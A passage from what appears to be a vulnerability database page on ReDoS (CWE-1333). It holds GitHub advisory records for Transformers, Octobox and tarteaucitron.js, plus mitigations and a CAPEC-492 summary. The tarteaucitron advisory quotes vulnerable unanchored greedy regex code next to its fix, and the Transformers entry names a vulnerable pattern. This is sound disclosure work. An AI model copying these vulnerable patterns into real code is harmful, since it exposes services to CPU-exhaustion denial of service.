{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.51.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-3263"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-08T16:33:26Z",
"nvd_published_at": "2025-07-07T10:15:27Z",
"severity": "MODERATE"
},
"details": "A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the `get_configuration_file()` function within the `transformers.configuration_utils` module. The affected version is 4.49.0, and the issue is resolved in version 4.51.0. The vulnerability arises from the use of a regular expression pattern `config\\.(.*)\\.json` that can be exploited to cause excessive CPU consumption through crafted input strings, leading to catastrophic backtracking. This can result in model serving disruption, resource exhaustion, and increased latency in applications using the library.",
"id": "GHSA-q2wp-rjmx-x6x9",
"modified": "2025-07-08T16:33:26Z",
"published": "2025-07-07T12:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3263"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/0720e206c6ba28887e4d60ef60a6a089f6c1cc76"
},
{
"type": "WEB",
"url": "https://github.com/huggingface/transformers/commit/126abe3461762e5fc180e7e614391d1b4ab051ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/transformers"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/c7a69150-54f8-4e81-8094-791e7a2a0f29"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Transformers\u0027s ReDoS vulnerability in get_configuration_file can lead to catastrophic backtracking"
}
GHSA-Q567-JFMR-4RR7
Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2023-03-01 21:30Octobox is software for managing GitHub notifications. Prior to pull request (PR) 2807, a user of the system can provide a specifically crafted search query string that will trigger a ReDoS vulnerability. This issue is fixed in PR 2807.
{
"affected": [],
"aliases": [
"CVE-2021-32848"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-20T17:15:00Z",
"severity": "HIGH"
},
"details": "Octobox is software for managing GitHub notifications. Prior to pull request (PR) 2807, a user of the system can provide a specifically crafted search query string that will trigger a ReDoS vulnerability. This issue is fixed in PR 2807.",
"id": "GHSA-q567-jfmr-4rr7",
"modified": "2023-03-01T21:30:20Z",
"published": "2023-02-20T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32848"
},
{
"type": "WEB",
"url": "https://github.com/octobox/octobox/pull/2807"
},
{
"type": "WEB",
"url": "https://github.com/octobox/octobox/blob/372a0da981dbf47319fed4116364118fdf09fcc3/lib/search_parser.rb#L5"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2021-100-octobox-octobox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q5F6-QXM2-MCQM
Vulnerability from github – Published: 2026-01-13 20:35 – Updated: 2026-01-13 21:41Summary
A potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the issuu_id parameter.
Details
The issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:
if (issuu_id.match(/\d+\/\d+/)) {
issuu_embed = '#' + issuu_id;
} else if (issuu_id.match(/d=(.*)&u=(.*)/)) {
issuu_embed = '?' + issuu_id;
}
These expressions are not anchored and rely on greedy patterns (.*). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.
Impact
An attacker able to control the issuu_id parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.
No confidentiality or integrity impact was identified.
Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52
The logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:
if (issuu_id.match(/^\d+\/\d+$/)) {
issuu_embed = '#' + issuu_id;
} else {
issuu_embed = '?' + issuu_id;
}
This change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.
Additionally, code related to the legacy "Alexa Rank" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tarteaucitronjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22809"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T20:35:28Z",
"nvd_published_at": "2026-01-13T20:16:11Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA potential Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the `issuu_id` parameter. \n\n## Details\n\nThe issue was caused by the use of insufficiently constrained regular expressions applied to attacker-controlled input:\n\n if (issuu_id.match(/\\d+\\/\\d+/)) {\n issuu_embed = \u0027#\u0027 + issuu_id;\n } else if (issuu_id.match(/d=(.*)\u0026u=(.*)/)) {\n issuu_embed = \u0027?\u0027 + issuu_id;\n }\n\nThese expressions are not anchored and rely on greedy patterns (`.*`). When evaluated against specially crafted input, they may cause excessive backtracking, leading to high CPU consumption and potential denial of service.\n\n## Impact\n\nAn attacker able to control the `issuu_id` parameter could exploit this vulnerability to degrade performance or cause temporary service unavailability through CPU exhaustion.\n\nNo confidentiality or integrity impact was identified.\n\n## Fix https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52\n\nThe logic was simplified and hardened by removing ambiguous regular expressions and enforcing strict input validation:\n\n if (issuu_id.match(/^\\d+\\/\\d+$/)) {\n issuu_embed = \u0027#\u0027 + issuu_id;\n } else {\n issuu_embed = \u0027?\u0027 + issuu_id;\n }\n\nThis change eliminates the risk of catastrophic backtracking and prevents ReDoS conditions.\n\nAdditionally, code related to the legacy \"Alexa Rank\" service was removed. This service, historically provided by Alexa.com via browser toolbars and popularity rankings, has been deprecated for several years and is no longer operational. The Alexa domain is now exclusively associated with the Amazon voice assistant, and the original ranking service has been permanently discontinued.",
"id": "GHSA-q5f6-qxm2-mcqm",
"modified": "2026-01-13T21:41:31Z",
"published": "2026-01-13T20:35:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AmauriC/tarteaucitron.js/security/advisories/GHSA-q5f6-qxm2-mcqm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22809"
},
{
"type": "WEB",
"url": "https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52"
},
{
"type": "PACKAGE",
"url": "https://github.com/AmauriC/tarteaucitron.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "tarteaucitron.js has Regular Expression Denial of Service (ReDoS) vulnerability"
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.